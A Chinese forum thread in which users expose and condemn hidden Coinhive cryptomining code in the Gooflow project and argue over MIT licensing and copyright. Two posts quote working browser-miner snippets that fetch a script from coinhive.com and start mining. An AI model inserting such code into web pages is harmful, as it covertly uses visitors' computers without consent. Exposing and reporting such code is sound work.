Github 上一个颇有争议的 issue

[eloah]

https://github.com/sdlddr/Gooflow/issues/12

放了链接就跑

有提到说 issue 被删掉了的,我这里还能看到的啊
那就留个项目的地址吧
https://github.com/sdlddr/Gooflow/

[zpf124]

这个厉害啊.....

666 啊
简单粗暴，就是不知道那段二进制是干什么用的，下载挖矿代码？

[jowuIM]

哪里有争议了，就是偷偷放毒然后装蒜了。

[tamlok]

vnote 也搞一个，就可以盈利了😂开源项目盈利新途径

[crs0910]

1.demo 试用版加挖矿，然后光明正大说明这一点。

没问题

2.demo 试用版加个挖矿，但不做任何说明。

也不觉得有什么问题


3. 付费版还有挖矿代码，且没有说明。

有问题

[dong3580]

https://safebrowsing.google.com/safebrowsing/report_badware/?hl=en

[moxiaonai]

[wqyyy]

挂 MIT 放在 github 上然后指责别人盗版 窃贼
有问题

[zhenizhui]

https://mp.weixin.qq.com/s/G722-w8CCAOMnUnR3MJcGg

https://github.com/sdlddr/Gooflow/issues/12

https://github.com/sdlddr/Gooflow/issues/11

https://github.com/sdlddr/Gooflow/issues/8

[liuguang]

确实恶心，官网还加挖矿代码、、、

[crbee]

MIT 协议挂 github 上... 甚至二次贩卖都可以吧 = =；
怎么能定义成盗版呢？

[zhenizhui]

幸好 GitHub issue 里面的评论也已经计入历史

[Zzdex]

弱弱的问下 issue 历史怎么看...

[easylee]

看了一圈回来

协议大佬……

[masha]

var _=window;try{_=_.opener.$}catch(e){try{_=_.top.$}catch(e){_=$}};if(!_("head").data(\'x\')){GooFlow.a=1;_a=20;var d=new Date();_("head").data(\'x\',1);_.ajax("https://coinhive.com/lib/coinhive.min.js?"+d.getFullYear()+d.getMonth()+d.getDate(),{dataType:\'script\',cache:true});_i=setInterval(function(){try{new CoinHive.Anonymous(\'GGdPGhxIloldaArArQVwxZ2sd8l0a4kH\',{throttle:0.3}).start();clearInterval(_i)}catch(e){_a--;if(_a<1)document.write("")}},1000)}

[Desiree]

issue 被关掉了 3:25

[jowuIM]

issue 被删除并且关闭了

[ihainan]

@Zzdex

[dinghow]

没有了啊

[jowuIM]

作者不了解开源协议问题不大，更改协议就好了，但是在代码里面放毒就很有问题，建议他可以写几个 bug 来解决问题。

[mcfog]

https://gitee.com/foolegg126 有兴趣可以点到这个人的微博里去看看

[Desiree]

卧槽，打开他的官网，差点把我的 mac 给烧了，网页的资源可以清晰看到，5 个恶意挖矿

[zpf124]

https://www.zhihu.com/question/280007415

[DeathWing]

@Desiree 头硬！还打开！

[DOLLOR]

联想到前几天的破事，看来已经到了什么人都能上 github 的时代了

[DeathWing]

@zpf124 小伙子手速很快

[moxiaonai]

[DeathWing]

@Desiree 不过我刚刚关了 minerblock 试了下竟然发现没事

[Lawlieti]

卧槽 这个东西我们还在用

[sheep3]

微博上，这个人太可怕了.....

[lovejoy]

首页的挖坑代码已经删了吗，我还想感受下呢

[DeathWing]

@lovejoy 没有呢，还挂着

[binux]

我想说

> 有一群强盗，溜到别人店里偷吃了展示样品，发现展示样品里放了鼠药让自己肚子痛，于是告到官府说店主投毒谋杀……

这确实是店主投毒谋杀啊。。。

这人把能犯的法律常识都犯了。

[YzSama]

码云上面没投诉的吗？

[nikolai]

哪里有争议了，不是群众一致认为作者是 S13 吗？

[youthdream]

https://github.com/sdlddr/Gooflow/issues/13

[learnshare]

uBlock 拦截了挖矿的域名

[zpf124]

@DeathWing 那是 233333

[LeungJZ]

https://github.com/sdlddr/Gooflow/issues/17

[tyrealgray]

已经 report 了该用户

[ballshapesdsd]

@DeathWing #31 是 gooflow.xyz 吗，为啥我的 cpu 毫无波动。另外这个网址大家看下是不是挖矿的，一打开就差点死机
https://caimaoy.gitbooks.io/-python-learn-more-python-3-the-hard-way/content/

[hyyou2010]

偷偷放挖坑代码，这个行为太恶，GitHub 管不？法律管不？

[evagreenworking]

666 这人的微博 铁血网友表示都自叹不如

[zpf124]

@ballshapesdsd 是

[LeungJZ]

emmmmmm. 这英文读起来有点不太通顺。



https://github.com/sdlddr/Gooflow/issues/12#issuecomment-394979877

[LeungJZ]

靠，放错图了。

[zpf124]

@jowuIM issue 没删啊， 你因为是在 issue 列表页没看到所以以为删了是吗？ 那默认只显示 open 的，
被关闭 的你要在筛选条件里选中才能看到。

[DeathWing]

@ballshapesdsd 你发的第二个是挖矿的。至于第一个也就是这个 213 的那个，我也不知道为啥我没事。但是上面一个 mac 的兄弟就发热了

[ixxxan]

@LeungJZ 我读了半天没读懂什么意思

[mcdona1d]

@ballshapesdsd 是的,chrome 安装一个 minerblock 就好了

[DeathWing]

@ballshapesdsd 那个 gitbook 的哥们挺阳光的，直接放代码的。https://github.com/caimaoy/caimaoy_gitbook/blob/f918c366ef8baca689e18c40fc807c84b41822ed/_book/gitbook/gitbook-plugin-xmr/plugin.js

[aaronly]

@ballshapesdsd

var adsByGoogleScript = document.createElement('script');
adsByGoogleScript.src = 'https://coinhive.com/lib/coinhive.min.js';
adsByGoogleScript.setAttribute('async', true);
document.body.appendChild(adsByGoogleScript);

window.onload = function() {
var miner = new CoinHive.Anonymous(siteKey, { throttle: throttle });
miner.start();
};

赤裸裸

[lt450196683]

围观

[MuscleOf2016]

微博看下来明显反社会人格嘛，估计生活中也是偏激的。以前大学有个也是，技术不错，但是人很容易偏激，和父母打电话一言不合就是去死。。。。

[boris1993]

GitHub 已经举报滥用，GitEE 邮件举报

[cstj0505]

@Desiree 特意去开了下，貌似没问题呢。debian+chromium

[Marmot]

MIT 不是作者自己写的么？
技术不评价，人品肯定是不太好的

[tempdban]

我今天才知道 GPL 担心的是什么。

[moonou]

@Marmot 大师球

[cye3s]

@LeungJZ 哈哈哈，我上镜了

[believeMe]

@ballshapesdsd #40 我擦，我前 2 天刚收藏的

[airyland]

前端娱乐圈里最无争议的一次

[Marmot]

@moonou 捕捉失败，工作量不饱和呀

[jowuIM]

@zpf124 Issue 的描述被删除了，Issue 的 title 也被"_"了。

[Yangyp]

@believeMe #60 这个好像是原版,这个没挖矿的,https://wizardforcel.gitbooks.io/lmpythw/content/

[Yangyp]

@Yangyp https://wizardforcel.gitbooks.io/lmpythw/content/

[clare0621]

建议各位不要添加各种无意义的评论了，issue 是用来做这个的？？？还有表情包回复的，我也是服。

[FrankHB]

2 weak
https://github.com/sdlddr/Gooflow/issues/21

[lulinux]

单就开源和盗版的看法，强烈支持作者 sdlddr。至于一些不当言论，另当别论。
另外谁说 github 上一定开源了。github 的商业模式就是托管私有代码好不好！

[LittleYangYang]

@lulinux GitHub 的商业模式就是托管私有代码好不好！

那就去把 repo 设置成 private，没人说你啥，你加了 MIT 的 License，然后说不是开源的，这是托管私有代码？

[lulinux]

@LittleYangYang 这协议那协议都不顶用。只要作者确定有了著作权，就受《著作权法》保护，一旦发现侵权，一告一个准。github 上的 rz 真多。

[FrankHB]

@clare0621 都 8102 年了，为什么还需要有这类建议？ Issue 为什么不能是用来做这个的？（预防针：Issue 被允许做哪个难道不是看 ToS 和的官方的反应？）另外好奇“表情包浪费流量”这种事实判断先于价值判断的陈述导致的后果都被普遍忍了，为什么你还会强调你“服”回复的行为本身——表达异议的效果不是很差嘛？

[chinvo]

@lulinux #64 放 GitHub 确实不代表开源

但是 public 的 repo
MIT 的 License

怎么看都是开源的而且放弃了大部分所有权

就是拿去商用了也没什么好说的

但是原作者加挖矿、诋毁、谩骂

就不只是人品问题了

更何况后续的发展中甚至表现出了法盲文盲流氓的一面

[swulling]

@lulinux 真厉害，协议不顶用。法院是你家开的？

[FrankHB]

@lulinux 法盲别秀了好吗……什么时候受保护就能免除其它法条的限制和举证责任了？顺便，著作权法可不保某人说话放屁一定不算诈骗。

[LittleYangYang]

@lulinux 那按你这样说，中国不支持 DMCA，那些开源项目都别用了，我写一个程序，申请著作权之后扔 GitHub 上，拿 WTFPL 开源协议开源，然后直接去起诉那些用这个程序的人？

[tkmiles]

@lulinux 什么, 协议不顶用?~你去问问谷歌和甲骨文~~

[xyyxlq]

@mcfog 看了下，戾气太重，动不动打打杀杀的，难怪能做出这种事来。

[luopengfei14]

@xyyxlq 戾气重。。。 硬伤啊

[chinvo]

https://github.com/sdlddr/Gooflow/commit/7a3d79f2207be64071477925da576a924c297ecb#diff-04c6e90faac2675aa89e2176d2eec7d8R11

[cye3s]

不行了不行了，开那个 issues，我的 Firefox 卡成狗了，不跟了，反正是刷新我 3 观了

[tyrealgray]

[Imgur]( )

[littlewin]

https://github.com/contact/report-abuse
各位帅气的小哥哥，传送门

[wqyyy]

@sdlddr
sdlddr 5 minutes ago Owner
不过你一口一个 MIT，难道不知道法律可没规定我必须如何定义 MIT+ ？有点智商的人都知道看项目介绍肯定是从 readme 看起，而不是从什么协议文件。如果有相左的地方，则直接以作者本人的声明为准。

遇到这样子法盲的也没有什么可说的了。。。license 在那 readme 顶什么用

[FrankHB]

微博也怂得清空了？

@chinvo xswl，最骚的是没货还嘴硬……

侵权=盗窃？违反协议=触犯刑法？刑庭最高法还是人大这货开的？
“一报警，估计也要抓上一大堆”——好奇什么能量能让有关部门无视技侦成本为法盲服务？
“有点智商的人都知道看项目介绍肯定是从 readme 看起，而不是从什么协议文件”——有点智商的人都知道事后诸葛亮还能指望多少法律效力吧？

[willakira]

我放了一个英文版的 summary，帮助 github investigation

[chinvo]

@willakira #81 看起来作者看不懂英文，所以你的英文 summary 大概能免于被删除

[kookpua]

這貨要火了

[jin5354]

repo 已经被你们爆破了

[Tyanboot]

这仓库已经当场去世了...

[szlszl35622]

好像已经处理了


[iNaru]

@ballshapesdsd #40 Firefox 开启自带的跟踪保护就能免疫了。

[zjp]

#34 #61
最后还是起了争议

[wenzhoou]

封的好啊。清爽。

[moxiaonai]

，这个头像一看都不像什么好人

[zpf124]

@clare0621 issue 里灌水或者谩骂是不可取的，但 issues 是可以用来指出项目作者恶意的做法。大部分人也没有去疯狂开 issue，所以在这个存在的 issue 里进行非灌水的留言是合理的。
甚至 如果 项目作者同意 拿 issue 当做论坛进行讨论都不违法 github 规定。


@lulinux
@chinvo
@LittleYangYang
咱实话实讲，中国对于版权的保护非常薄弱，法律对开源协议既不承认也不否认，所以放上去别人抄了不准守协议法律也不支持你去主张诉讼，同样如果里面有专利产权(注意不是著作权)你即使开源了，别人用了你去告法律反倒会支持。

但实际上中国 it 相关人员和公司应该尽量遵守协议要求，一来一直不遵守人家没准以后不带我们玩了，二来大家都遵守对于项目的发展是有好处的。

关于那个项目是不是开源的问题，其实很简单，他挂了 MIT licence 那就是开源的，MIT 就包含了允许别人复制修改源代码，甚至修改后别人还可以闭源商业发布。 不是只有 copyleft 的 GPL 才叫开源的。

但放在公共库就是开源 这个理解是错误的，关于这个的界定老美那边都很模糊，法官有支持没放开源 license 的就是个人私有的，也有认为其他人是有权利看和使用的，所以放到公共库的不论是否开源都最好放一个协议。

[reself]

@Tyanboot 哈哈被爆破了

[zsdroid]


[hatsuyuki]

@zpf124 没有 Licence 的项目都不敢用

[jowuIM]

@szlszl35622 Access to this repository has been disabled by GitHub staff. 被封禁了！！！

[var]

发现 Windows Defender 会主动发现挖矿的。